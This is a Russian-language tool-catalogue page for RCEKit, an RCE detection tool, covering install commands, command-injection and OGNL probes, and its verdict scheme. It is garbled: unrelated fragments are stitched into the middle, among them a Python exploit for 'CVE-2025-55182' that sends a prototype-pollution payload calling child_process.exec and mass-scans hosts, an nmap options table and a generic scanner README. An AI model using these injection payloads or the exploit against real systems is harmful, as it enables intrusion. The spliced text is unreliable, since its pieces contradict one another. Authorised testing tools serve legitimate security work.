Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rcekit — Набор инструментов для обнаружения и подтверждения RCE, который проверяет URL-адреса или перехваченные HTTP-запросы на предмет инъекции команд, SSTI, слепых и OOB-путей, возвращая многоуровневые вердикты с доказательствами. | Kitploit
Инструменты/GitHubGitHub/kabiri-labs/rcekit
Сканеры уязвимостейСканеры веб-уязвимостейГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеКомандование и УправлениеУтилиты и фреймворкиRed Teaming
142502 дней назадЕщё не проверено
GitHubkabiri-labs/rcekit

rcekit

Набор инструментов для обнаружения и подтверждения RCE, который проверяет URL-адреса или перехваченные HTTP-запросы на предмет инъекции команд, SSTI, слепых и OOB-путей, возвращая многоуровневые вердикты с доказательствами.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RCEKit

confirmed означает, что цель выполнила ввод. negative означает, что пробы дошли до неё.

Версия 2.40.0 · MIT · Python 3.8+ · без сторонних зависимостей

RCEKit — это инструмент обнаружения и подтверждения RCE для авторизованного тестирования на проникновение, red teaming и исследований в области безопасности. Укажите ему на цель, которую вам разрешено тестировать — URL или перехваченный HTTP-запрос — и каждая находка вернётся с уровнем, который она заслужила.

Каждый confirmed опирается на значение, которое RCEKit сгенерировал случайно для этой пробы и которое отражение не может воспроизвести: вычисленный результат, присутствующий в ответе и отсутствующий в контрольном запросе без полезной нагрузки, или внешний обратный вызов, несущий токен, которым владела только цель. Более слабые сигналы сохраняют свои собственные уровни и никогда не повышаются до него. А запуск, который не смог что-то протестировать, никогда не сообщает об этом как о чистом результате.


Доказательство, а не «может быть»

RCEKit подтверждает RCE через несколько методов в одном CLI. Ниже он направлен на реальные, публично задокументированные CVE в production-ПО — каждый вердикт сравнивается с контрольным запросом без полезной нагрузки:

Класс RCE--methodsРеальная цельВердикт
Инъекция команд ОС (на основе результатов)reflectedWebmin 1.910 — CVE-2019-15107confirmed
Инъекция выражений (OGNL)evalApache Struts2 — S2-001confirmed
Поиск выражений (Log4Shell/JNDI)lookupApache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228lookup-sink
Слепая инъекция команд (без вывода)timeWebmin 1.910 — CVE-2019-15107needs-review

Каждая строка воспроизводится в tests/bench/, который запускает RCEKit против этих сборок под Docker и проверяет вердикт и его негативный контроль. Последний успешный запуск на 2.36.0 (2026-09-20): 3/3 случая. Это утверждение на момент времени, а не непрерывное — бенчмарк запускается по расписанию, а не при каждом изменении.

Каждый контроль — это настоящий тест строки. Struts2, проверенный с reflected, возвращает negative, потому что S2-001 перевычисляет OGNL, и за ним нет шелла. Сигнал time у Webmin удерживается на needs-review на цели, где он случайно оказывается верным. А Solr, проверенный с oob, возвращает negative хотя он эксплуатируем — oob строит команды шелла, а sink ${jndi:...} не запускает ни одну из них, и это тот пробел, который существует, чтобы закрыть lookup, измеренный, а не заявленный.

Строка Log4Shell говорит lookup-sink, а не confirmed: обратный вызов доказывает, что sink разрешил URI, выбранный RCEKit. Для достижения RCE нужен сервер, который отвечает на lookup загружаемым классом, а при уровне риска по умолчанию исходящим идёт только jndi:dns:// — поиск имени, без соединения за ним, на котором такой сервер мог бы ответить.

reflected — инъекция команд ОС, Webmin CVE-2019-15107 → confirmed

RCEKit подтверждает инъекцию команд ОС на Webmin 1.910 (CVE-2019-15107): шелл вычисляет арифметику над случайными операндами, результат отражается в ответе и отсутствует в контрольном запросе без полезной нагрузки

eval — инъекция выражений OGNL, Apache Struts2 S2-001 → confirmed

RCEKit подтверждает инъекцию выражений OGNL на Apache Struts2 (S2-001): полезная нагрузка %{ab} вычисляется в произведение в ответе, тогда как литерал ab — нет

внешний канал — слепой Log4Shell (CVE-2021-44228) через DNS-обратный вызов → lookup-sink

RCEKit сопоставляет слепой Log4Shell (CVE-2021-44228) DNS-обратный вызов с точной полезной нагрузкой, которая его вызвала: токен в запрошенном имени — тот, который цель могла узнать только путём разрешения переданного ей URI

time — слепая инъекция команд, Webmin CVE-2019-15107 → needs-review

RCEKit измеряет линейный временной отклик на Webmin 1.910 (CVE-2019-15107): время отклика следует за контролируемой серией задержек 0/N/2N — кандидат на тайминг со статусом needs-review, никогда не подтверждаемый сам по себе


Быстрый старт

У RCEKit есть две поддерживаемые формы, и ни одна из них не является запасным вариантом для другой.

Установите его — pipx держит CLI в собственном окружении, что вам и нужно для инструмента, а не для библиотеки:```bash pipx install rcekit # or: pip install rcekit rcekit --doctor # confirms the corpus it will run with

root@kitploit:~
**Или возьмите только один файл.** Корпус полезных нагрузок встроен в модуль, поэтому
`rcekit.py` работает сам по себе, без ничего рядом — никакого шага установки, никаких
site-packages, ничего, что можно было бы оставить после себя. На клиентском jump-хосте, в изолированной
среде или где угодно, где `pip install` недоступен:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor    # same corpus, same check, zero installation

Оба запускают один и тот же код и выдают одинаковые вердикты. Работа из checkout — третий способ, и он тоже не требует установки:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only

root@kitploit:~
Поставьте маркер `FUZZ` там, где попадает ваш ввод (или выберите параметр с помощью `-p` при
использовании перехваченного запроса), и попросите RCEKit доказать RCE:```bash
rcekit --acknowledge-consent \
  --verify-url "https://target.example/lookup?host=FUZZ" \
  --methods reflected,eval
root@kitploit:~
    def __init__(self, target, port, timeout=10, verbose=False):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    def log(self, message, level='info'):
        """Логирование сообщений"""
        if level == 'error':
            print(f"{Colors.RED}[!] {message}{Colors.RESET}")
        elif level == 'success':
            print(f"{Colors.GREEN}[+] {message}{Colors.RESET}")
        elif level == 'warning':
            print(f"{Colors.YELLOW}[*] {message}{Colors.RESET}")
        else:
            if self.verbose:
                print(f"{Colors.BLUE}[i] {message}{Colors.RESET}")

    def check_vulnerability(self):
        """Проверка уязвимости CVE-2025-55182"""
        self.log(f"Проверка {self.target}:{self.port} на наличие CVE-2025-55182...")
        
        try:
            # Проверка доступности цели
            url = f"http://{self.target}:{self.port}"
            response = self.session.get(url, timeout=self.timeout)
            
            if response.status_code == 200:
                self.log(f"Цель доступна: {url}", 'success')
                
                # Проверка версии React
                if self.check_react_version(response.text):
                    self.log("Обнаружена уязвимая версия React", 'warning')
                    return True
            else:
                self.log(f"Цель вернула код {response.status_code}", 'warning')
                
        except requests.exceptions.ConnectionError:
            self.log(f"Не удалось подключиться к {self.target}:{self.port}", 'error')
        except requests.exceptions.Timeout:
            self.log(f"Превышено время ожидания для {self.target}:{self.port}", 'error')
        except Exception as e:
            self.log(f"Ошибка: {str(e)}", 'error')
        
        return False

    def check_react_version(self, html_content):
        """Проверка версии React в HTML"""
        # Поиск версии React в HTML
        patterns = [
            r'react@([\d.]+)',
            r'react-([\d.]+)\.min\.js',
            r'"version":\s*"([\d.]+)"'
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, html_content)
            for version in matches:
                self.log(f"Найдена версия React: {version}")
                # Уязвимые версии: 19.0.0 - 19.2.0
                if self.is_vulnerable_version(version):
                    return True
        
        return False

    def is_vulnerable_version(self, version):
        """Проверка, является ли версия уязвимой"""
        try:
            parts = version.split('.')
            major = int(parts[0])
            minor = int(parts[1]) if len(parts) > 1 else 0
            patch = int(parts[2]) if len(parts) > 2 else 0
            
            # Уязвимость затрагивает React 19.0.0 - 19.2.0
            if major == 19:
                if minor >= 0 and minor <= 2:
                    return True
            return False
        except (ValueError, IndexError):
            return False

    def exploit(self):
        """Эксплуатация уязвимости"""
        self.log("Попытка эксплуатации CVE-2025-55182...")
        
        try:
            # Создание вредоносного payload
            payload = self.create_payload()
            
            # Отправка эксплойта
            url = f"http://{self.target}:{self.port}/api/react"
            headers = {
                'Content-Type': 'application/json',
                'X-React-Version': '19.0.0'
            }
            
            response = self.session.post(
                url,
                json=payload,
                headers=headers,
                timeout=self.timeout
            )
            
            if response.status_code == 200:
                self.log("Эксплуатация успешна!", 'success')
                return True
            else:
                self.log(f"Эксплуатация не удалась: {response.status_code}", 'error')
                
        except Exception as e:
            self.log(f"Ошибка эксплуатации: {str(e)}", 'error')
        
        return False

    def create_payload(self):
        """Создание payload для эксплуатации"""
        payload = {
            "type": "react.element",
            "props": {
                "__proto__": {
                    "polluted": True,
                    "isAdmin": True,
                    "rce": "require('child_process').exec('id')"
                }
            },
            "children": []
        }
        return payload

Класс сканера

root@kitploit:~
class Scanner:
    """Основной класс сканера"""
    
    def __init__(self, targets, ports, threads=10, timeout=10, verbose=False):
        self.targets = targets
        self.ports = ports
        self.threads = threads
        self.timeout = timeout
        self.verbose = verbose
        self.results = []
        self.lock = threading.Lock()

    def scan_target(self, target, port):
        """Сканирование одной цели"""
        scanner = ReactScanner(target, port, self.timeout, self.verbose)
        
        if scanner.check_vulnerability():
            if scanner.exploit():
                with self.lock:
                    self.results.append({
                        'target': target,
                        'port': port,
                        'vulnerable': True,
                        'exploited': True
                    })
                return True
        
        return False

    def run(self):
        """Запуск сканирования"""
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"{Colors.CYAN}CVE-2025-55182 Scanner v1.0{Colors.RESET}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"Целей: {len(self.targets)}")
        print(f"Портов: {len(self.ports)}")
        print(f"Потоков: {self.threads}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}\n")
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = []
            for target in self.targets:
                for port in self.ports:
                    future = executor.submit(self.scan_target, target, port)
                    futures.append(future)
            
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception as e:
                    if self.verbose:
                        print(f"{Colors.RED}[!] Ошибка: {str(e)}{Colors.RESET}")
        
        self.print_results()

    def print_results(self):
        """Вывод результатов"""
        print(f"\n{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"{Colors.CYAN}Результаты сканирования{Colors.RESET}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        
        if self.results:
            print(f"{Colors.GREEN}Найдено уязвимых целей: {len(self.results)}{Colors.RESET}\n")
            for result in self.results:
                print(f"{Colors.GREEN}[+] {result['target']}:{result['port']}{Colors.RESET}")
                print(f"    Уязвимость: CVE-2025-55182")
                print(f"    Эксплуатация: {'Успешно' if result['exploited'] else 'Не удалось'}")
                print()
        else:
            print(f"{Colors.YELLOW}Уязвимых целей не найдено{Colors.RESET}")
        
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")

[detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9

[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)

root@kitploit:~
### Из перехваченного запроса — форма, которая есть у большинства реальных целей

`--verify-url` несёт только URL и ничего больше. Большинство интересных для тестирования стоков находятся за POST-запросом с сессионной cookie, content type и телом, и RCEKit принимает этот запрос целиком: сохраните его из вашего прокси или devtools браузера и укажите поле для инъекции.```bash
rcekit --acknowledge-consent \
  -r search.req -p q \
  --methods reflected,eval

| -s | Silent mode. Suppress all output except errors. | | -v | Verbose mode. Show detailed progress information. | | -o <file> | Write output to the specified file instead of stdout. | | -f <format> | Specify the output format (json, csv, xml). | | -t <target> | Set the target host or URL to scan. | | -p <ports> | Specify the port range to scan (e.g., 1-1000). | | -T <timing> | Set the timing template (0-5). Higher values are faster but less stealthy. | | --script <name> | Run the specified NSE script against the target. | | --exclude <hosts> | Exclude the specified hosts from the scan. | | --randomize-hosts | Randomize the order in which hosts are scanned. | | --max-retries <n> | Set the maximum number of retries for a probe. | | --host-timeout <time> | Give up on a target host after the specified time. | | --min-rate <n> | Send packets no slower than <n> per second. | | --max-rate <n> | Send packets no faster than <n> per second. |

Примеры использования

Простой скан одного хоста:

root@kitploit:~
nmap 192.168.1.1

Скан определённых портов:

root@kitploit:~
nmap -p 22,80,443 192.168.1.1

Скан с определением версий служб:

root@kitploit:~
nmap -sV 192.168.1.1

Скан с использованием NSE-скриптов:

root@kitploit:~
nmap --script vuln 192.168.1.1

Скан всей подсети:

root@kitploit:~
nmap 192.168.1.0/24

Сохранение результатов в файл:

root@kitploit:~
nmap -oN scan_results.txt 192.168.1.1

Вывод

Пример вывода команды nmap -sV 192.168.1.1:

root@kitploit:~
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-01 12:00 UTC
Nmap scan report for 192.168.1.1
Host is up (0.0023s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds

Дополнительные ресурсы

  • Официальный сайт Nmap
  • Документация Nmap
  • NSE-скрипты
  • Исходный код на GitHub

Лицензия

Nmap распространяется под лицензией Nmap Public Source License, которая является вариантом GNU GPLv2.``` [detect] sent 4 probes: confirmed=3, negative=1

[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)

root@kitploit:~
Метод, путь, заголовки, тело и cookies переиспользуются в том виде, в каком были захвачены, и каждое значение кодируется для того контекста, в который оно попадает — JSON-лист, поле формы и cookie экранируются по-разному. Уберите `-p` и отметьте место с помощью `FUZZ` или `*`, если предпочитаете.

### Всё, что есть в инструменте

Две вещи достижимы только из захваченного запроса: **перечисление точек инъекции** (`--auto-params`) и любой sink, которому нужна сессия. Поэтому самый полный запуск, который может выполнить RCEKit, начинается с `-r`, а не с URL — это стоит знать, прежде чем делать вывод, что цель чиста.```bash
rcekit --acknowledge-consent \
  -r search.req --auto-params all --point-order thorough \
  --methods reflected,eval,time,lookup,deser \
  --oob-host oob.yourdomain.example --listen-dns-port 53 \
  --verify-active-risk stateful --probe-depth full \
  --detect-json findings.json

| --proxy | Прокси-сервер для использования (например, http://127.0.0.1:8080) | | --timeout | Тайм-аут запроса в секундах (по умолчанию: 10) | | --user-agent | Пользовательский User-Agent | | --headers | Дополнительные заголовки в формате Key: Value (можно повторять) | | --cookie | Строка Cookie | | --follow-redirects | Следовать перенаправлениям HTTP | | --max-redirects | Максимальное количество перенаправлений (по умолчанию: 5) | | --verify-ssl | Проверять SSL-сертификаты (по умолчанию: true) | | --threads | Количество параллельных потоков (по умолчанию: 10) | | --delay | Задержка между запросами в миллисекундах | | --rate-limit | Максимальное количество запросов в секунду | | --retries | Количество повторных попыток при неудачных запросах (по умолчанию: 3) | | --output | Путь к выходному файлу | | --format | Формат вывода: json, csv, table (по умолчанию: table) | | --verbose | Включить подробное логирование | | --silent | Подавить весь вывод, кроме результатов | | --no-color | Отключить цветной вывод |

Примеры

root@kitploit:~
# Базовое сканирование
python3 cve_scanner.py --target https://example.com

# Сканирование с пользовательскими заголовками
python3 cve_scanner.py --target https://example.com --headers "Authorization: Bearer token"

# Сканирование с прокси и увеличенным тайм-аутом
python3 cve_scanner.py --target https://example.com --proxy http://127.0.0.1:8080 --timeout 30

# Вывод в формате JSON
python3 cve_scanner.py --target https://example.com --format json --output results.json

# Сканирование нескольких целей из файла
python3 cve_scanner.py --targets-file targets.txt --threads 20

Использование в качестве библиотеки

root@kitploit:~
from cve_scanner import CVEScanner

scanner = CVEScanner(
    target="https://example.com",
    timeout=10,
    threads=10,
    verify_ssl=True
)

results = scanner.scan()
for result in results:
    print(f"{result['cve_id']}: {result['severity']} - {result['description']}")

Архитектура

root@kitploit:~
cve_scanner/
├── __init__.py
├── scanner.py          # Основная логика сканирования
├── cve_database.py     # Интеграция с базой данных CVE
├── http_client.py      # HTTP-клиент с обработкой ошибок
├── detectors/          # Модули обнаружения уязвимостей
│   ├── __init__.py
│   ├── base.py         # Базовый класс детектора
│   ├── apache.py       # Детекторы для Apache
│   ├── nginx.py        # Детекторы для Nginx
│   ├── wordpress.py    # Детекторы для WordPress
│   └── ...
├── reporters/          # Модули вывода результатов
│   ├── __init__.py
│   ├── json_reporter.py
│   ├── csv_reporter.py
│   └── table_reporter.py
└── utils/              # Вспомогательные утилиты
    ├── __init__.py
    ├── logger.py
    └── validators.py

Добавление новых детекторов

Чтобы добавить новый детектор уязвимостей, создайте класс, наследующий от BaseDetector:

root@kitploit:~
from detectors.base import BaseDetector

class MyCustomDetector(BaseDetector):
    """Пользовательский детектор для конкретной уязвимости."""

    name = "My Custom Detector"
    description = "Обнаруживает конкретную уязвимость"

    def detect(self, target, response):
        """
        Обнаруживает уязвимость.

        Args:
            target: URL цели
            response: HTTP-ответ

        Returns:
            dict или None: Информация об уязвимости, если обнаружена
        """
        if "vulnerable_pattern" in response.text:
            return {
                "cve_id": "CVE-XXXX-XXXX",
                "severity": "HIGH",
                "description": "Описание уязвимости",
                "evidence": "Доказательство обнаружения"
            }
        return None

Тестирование

root@kitploit:~
# Запуск всех тестов
pytest tests/

# Запуск с покрытием
pytest --cov=cve_scanner tests/

# Запуск конкретного теста
pytest tests/test_scanner.py::test_basic_scan

Участие в разработке

  1. Форкните репозиторий
  2. Создайте ветку для функции (git checkout -b feature/amazing-feature)
  3. Зафиксируйте изменения (git commit -m 'Add amazing feature')
  4. Отправьте в ветку (git push origin feature/amazing-feature)
  5. Откройте Pull Request

Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и тестирования на проникновение с санкционированного разрешения. Использование этого инструмента против целей без предварительного взаимного согласия является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.

Благодарности

  • CVE Program за базу данных CVE
  • NVD за данные об уязвимостях
  • Всем участникам, которые внесли свой вклад в этот проект

Контакты

  • Автор: Security Researcher
  • Email: [email protected]
  • Twitter: @securityresearcher

⭐ Если этот проект оказался полезным, поставьте звезду на GitHub!``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925

root@kitploit:~
Что открывает каждый флаг:

| | |
|---|---|
| `--auto-params all` | каждое значение запроса, JSON-лист, поле формы, multipart-часть, cookie и заголовок, вместо одного именованного поля |
| `--point-order thorough` | каждый заголовок, кроме hop-by-hop, а не только высокодоходные |
| `--methods ...,lookup,deser` | стоки expression-lookup и десериализации, до которых не дотягиваются методы shell-формы |
| `--oob-host` | хост для callback в слепых методах. Нужен делегированный вам домен; для порта 53 нужен root |
| `--verify-active-risk stateful` | высшая ступень — добавляет формы проб, заставляющие цель обращаться по адресу, который RCEKit не выбирал |
| `--probe-depth full` | каждая форма break-out для каждого стока, а не только дешёвые |
| `--detect-json` | те же вердикты в машиночитаемом JSON |

**Это очень много запросов.** Строка стоимости печатается до того, как что-либо сработает, а `--max-points` / `--max-payloads` ограничивают её. Запускайте против экземпляра, который вам разрешено ломать: `--verify-active-risk stateful` — это уровень для одноразовой цели, а не для продакшена.

Никакой внешней инфраструктуры, никакого файла конфигурации.

**Не доверяйте GIF-файлам на слово** — [воспроизведите их сами](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md) против докеризованных целей Webmin и Struts2 примерно за пять минут.

**Далее:** [**полевое руководство**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) разбирает реальные ситуации — перехваченные запросы, WAF, отфильтрованные разделители, экранированные стоки, слепые цели и цели без исходящего трафика — по одному проработанному примеру на каждую.

---

## Что означает вердикт

Найти *кандидата* на RCE легко. Сложная часть — сообщить о таком, который выдержит чужой ретест, и здесь провал возможен в двух направлениях: «возможно уязвимо», которое оказывается отражением, и «не уязвимо» из запуска, который на самом деле ничего не тестировал.

RCEKit отвечает **восемью вердиктами, которые никогда не смешиваются друг с другом**:

| Вердикт | Что он утверждает |
|---|---|
| **`confirmed`** | Цель выполнила входные данные. Она вернула значение, которое не могла бы получить иначе — вычисленное из операндов, случайных для этой пробы — и это значение отсутствует в контрольном запуске без полезной нагрузки. |
| **`deserialization-sink`** | Цель восстановила граф объектов, предоставленный атакующим. Доказано, но касается *другого свойства*: достижение RCE оттуда зависит от гаджетов в classpath, поэтому это никогда не называется RCE. |
| **`lookup-sink`** | Цель разрешила URI, который ей передал RCEKit — выражение `${jndi:…}` дошло до lookup, что доказано по callback, несущему токен, который был только у этой пробы. Это сток, а не выполнение: для достижения RCE оттуда нужен сервер, отвечающий загружаемым классом. |
| **`needs-review`** | Реальный сигнал, который сам по себе не является доказательством — линейная регрессия по времени, отпечаток парсера. Стоит вашего времени, но никогда не стоит слова «confirmed». |
| **`inconclusive`** | Доказательство появилось, но не может быть приписано выполнению — контрольный запуск без полезной нагрузки тоже его нёс. |
| **`negative`** | Пробы были построены, достигли цели и ничего не нашли. |
| **`error`** | Ничего не достигло цели. |
| **`nothing-tested`** | Пробы вообще не были построены. |

Как только `confirmed` и `maybe` размываются, `confirmed` перестаёт что-либо значить — поэтому ничто никогда не повышается в статусе. Регрессия по времени остаётся `needs-review`, каким бы чистым ни был наклон. Callback десериализации остаётся `deserialization-sink`, как бы вы ни были уверены, что classpath эксплуатируем.

### Другая половина: запуск, который ничего не протестировал, никогда не бывает чистым

Последние две строки — те, которых нет у других инструментов, и они важнее, чем кажутся. Сканер, который не смог достичь цели или не построил ни одной пробы, потому что ваши флаги исключили их все, не узнал о цели **ничего** — и напечатать там `negative` — это ложь, которая читается точно так же, как безопасность.

Поэтому `error` и `nothing-tested` — это полноценные вердикты, запуск завершается с ненулевым кодом, и RCEKit сообщает, какой из них произошёл и почему:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.

Он срабатывает везде, где запуск может незаметно стать пустым: метод, который не применим к выбранным окружениям, ступень --sink-shape, для которой у выбранной оболочки нет синтаксиса, выбор --bridges, полностью заблокированный потолком безопасности, тело запроса, которое сломало доставку ещё до того, как прибыло.

Запуск, который был ослеплён лишь частично, получает ту же обработку на уровень ниже. Если вы запросили oracle второго порядка, а наблюдаемая конечная точка так и не ответила, вердикты проб всё равно остаются в силе — но запуск сообщает вам, что они были вынесены без единого чтения канала, на который вы указали, вместо того чтобы позволить им сойти за отрицательный результат второго порядка.


Что он подтверждает

Один CLI, один флаг --methods, охватывающий основные пути к RCE:

Класс RCE--methodsКак RCEKit это доказывает
Инъекция команд ОСreflectedЗаставляет оболочку вычислить $((a+b)) на случайных операндах и схлопнуть $(echo TAG); подтверждает результат, никогда — литеральное выражение. Написано на диалекте самого sink'а — POSIX, cmd.exe или PowerShell.
Инъекция кода / выражений — SSTI, SpEL, OGNL, Groovy, eval() (CWE-94)evalВнедряет a*b во всех распространённых синтаксисах шаблонов (${…} {{…}} #{…} %{…} <%=…%> @(…), без обёртки); подтверждает, что появляется произведение, тогда как литерал a*b — нет.
Слепая инъекция команд (без вывода)timeЗапускает контролируемую серию задержек 0/N/2N и подтверждает, что время отклика отслеживает задержку линейно; сообщается как needs-review — джиттер не может это подделать, но время не является вычисленным значением.
Внутренние цели / без выхода наружуfileЗаписывает случайный токен и извлекает его обратно через любой путь чтения — веб-корень, параметр LFI, обработчик загрузки или экспорта, превью на базе /tmp. Доказывает выполнение плюс примитив записи, без внешнего слушателя.
Примитив загрузки / записи — PUT-a-JSP, неконтролируемая загрузка (CWE-434)writeЗаписывает однострочник, который вычисляет произведение через ваш собственный запрос загрузки, затем извлекает файл: произведение — это confirmed RCE, а исходник, возвращающийся дословно, — needs-review — произвольная запись файла, отдаваемого, но не интерпретируемого.
Sink'и десериализации — fastjson, shiro, weblogic (CWE-502)deserДоказывает, что конечная точка десериализует данные атакующего, через неисполняемый DNS-гаджет или дифференциал по форме ошибки. Сообщается как , как RCE.

Три вещи расширяют охват этих методов, не меняя того, что любой из них назовёт confirmed:

  • Выполнение второго порядка (--observe-url) — когда полезная нагрузка попадает в один запрос, а выполняется в другом: сохранённый SSTI, отрендеренный на странице профиля, полезная нагрузка, записанная в лог, который позже рендерит шаблонизатор, задача в очереди. Наблюдаемая конечная точка сравнивается со снимком, сделанным до отправки любой пробы.
  • Мосты к языкам запросов (--bridges) — COPY … FROM PROGRAM, xp_cmdshell, expect://. Мост — это носитель, а не oracle: он оборачивает команду, которую методы и так строят, поэтому через него применяются те же уровни.
  • Перечисление точек инъекции (-p all) — query, листья JSON, поля форм, части multipart, cookies, заголовки и сегменты пути, каждый кодируется под место попадания, со стоимостью проб, выводимой до того, как что-либо сработает. Тело GraphQL упорядочивается по тому, что действительно может подтвердить: variables, которые резолвер читает раньше самого документа операции.

Смешивайте методы свободно: --methods reflected,eval,time запускает все три и сообщает по каждому уровню отдельно.

Честные границы. RCEKit подтверждает RCE, достижимый путём инъекции в запрос и интерпретируемый оболочкой или вычислителем. Он не покрывает баги повреждения памяти (переполнение буфера, UAF) или инъекцию аргументов в массив argv без оболочки — это другие проблемы. Цепочки гаджетов десериализации тоже вне области охвата: --methods deser доказывает, что конечная точка десериализует данные атакующего, и говорит об этом в своём собственном уровне, но какой гаджет (если вообще какой-либо) превращает это в выполнение, зависит от classpath цели, и RCEKit не претендует на знание этого. Он стремится быть превосходным в перечисленных выше классах RCE, управляемых инъекцией, а не посредственным во всём.


Как RCEKit сравнивается

Другие инструменты в этой области созданы, чтобы провести вас внутрь. RCEKit создан так, чтобы находка выдержала чужую проверку — ретест клиента, очередь триажа, ревью отчёта. Эта разница проявляется трижды.

1. Одна точка инъекции, все классы, один запуск

Вы редко знаете класс до начала тестирования. Покрытие неизвестного sink'а одноклассовыми инструментами означает запуск каждого по очереди и пересборку запроса для каждого:

Может подтвердитьRCEKitcommixSSTImapNuclei
Инъекция команд ОС✅✅ (весь его охват)—по шаблону
Инъекция выражений / SSTI✅через его технику на основе eval✅ (весь его охват)по шаблону
Слепая — тайминг✅ как отдельный уровень✅✅—
Слепая — out-of-band✅ встроенный слушатель——через interactsh
Без выхода наружу — запись и чтение обратно✅ любой путь чтения✅ (веб-корень)——
Sink'и cmd.exe и PowerShell✅ пробы по диалектам✅ (cmd)—по шаблону
Загрузка → запись-затем-выполнение✅ запись vs. выполнение, отдельные уровни——по шаблону
Второй порядок — попадает здесь, выполняется там✅———
Мост к языку запросов до ОС✅——по шаблону
Sink десериализации✅ собственный уровень, никогда не называется RCE——по шаблону
Всё вышеперечисленное, один CLI, один запуск✅———

Охват по собственному документированному списку техник каждого проекта. SSTImap — поддерживаемый преемник tplmap, который его автор пометил как неподдерживаемый.```bash

Command injection, expression injection and blind timing against the same

parameter, in one pass, with zero infrastructure

python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time

root@kitploit:~
### 2. Он спорит со своими же результатами

Инструмент сообщает о том, что он обнаружил. RCEKit также сообщает о том, **чему он отказался верить** —
`inconclusive` — это отдельный вердикт, для свидетельств, которые появились, но не могли
быть отнесены к выполнению:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11

Те два были бы чьей-то чужой находкой. Пять механизмов выносят этот вердикт, и они срабатывают при каждом подтверждении:

  • Контрольный запрос без полезной нагрузки. Доказательство должно присутствовать с полезной нагрузкой и отсутствовать без неё. Всё, что есть в обоих случаях, — inconclusive, а не находка.
  • Инертный контроль с тем же токеном. Второй запрос несёт идентичный случайный токен в неисполняемой форме. Цель, которая лишь отражает ввод, здесь проваливается — именно так отражение отделяется от исполнения.
  • Случайные операнды, никогда не фиксированные строки. Оракул — это обёрнутая в тег сумма или ограниченное границами произведение, вычисляемое заново при каждом запуске. Отражение полезной нагрузки возвращает литерал $((a+b)); только исполнение возвращает значение.
  • Поиск доказательств с учётом кодировок. Сток, который экранирует вывод в base64, hex, URL, HTML или unicode, всё равно подтверждается — сначала проверяется сырое тело, так что декодирование лишь превращает пропущенное попадание в попадание, но никогда наоборот.
  • Поиск доказательств по всему ответу. Вычисленное значение ищется во всех каналах ответа — теле, заголовках приложения, значениях cookie, цели перенаправления, фразе причины HTTP и каждом листе JSON-конверта ошибки — и находка называет канал, который его перенёс. Контрольный дифференциал применяется и к каждому каналу, так что расширение того, куда смотрит RCEKit, не расширяет то, что он назовёт confirmed.

Тот же инстинкт работает и в обратную сторону. Тайминг никогда не самоподтверждается, обратный вызов десериализации никогда не называется RCE, а запуск, который не построил ни одного зонда, никогда не называется отрицательным.

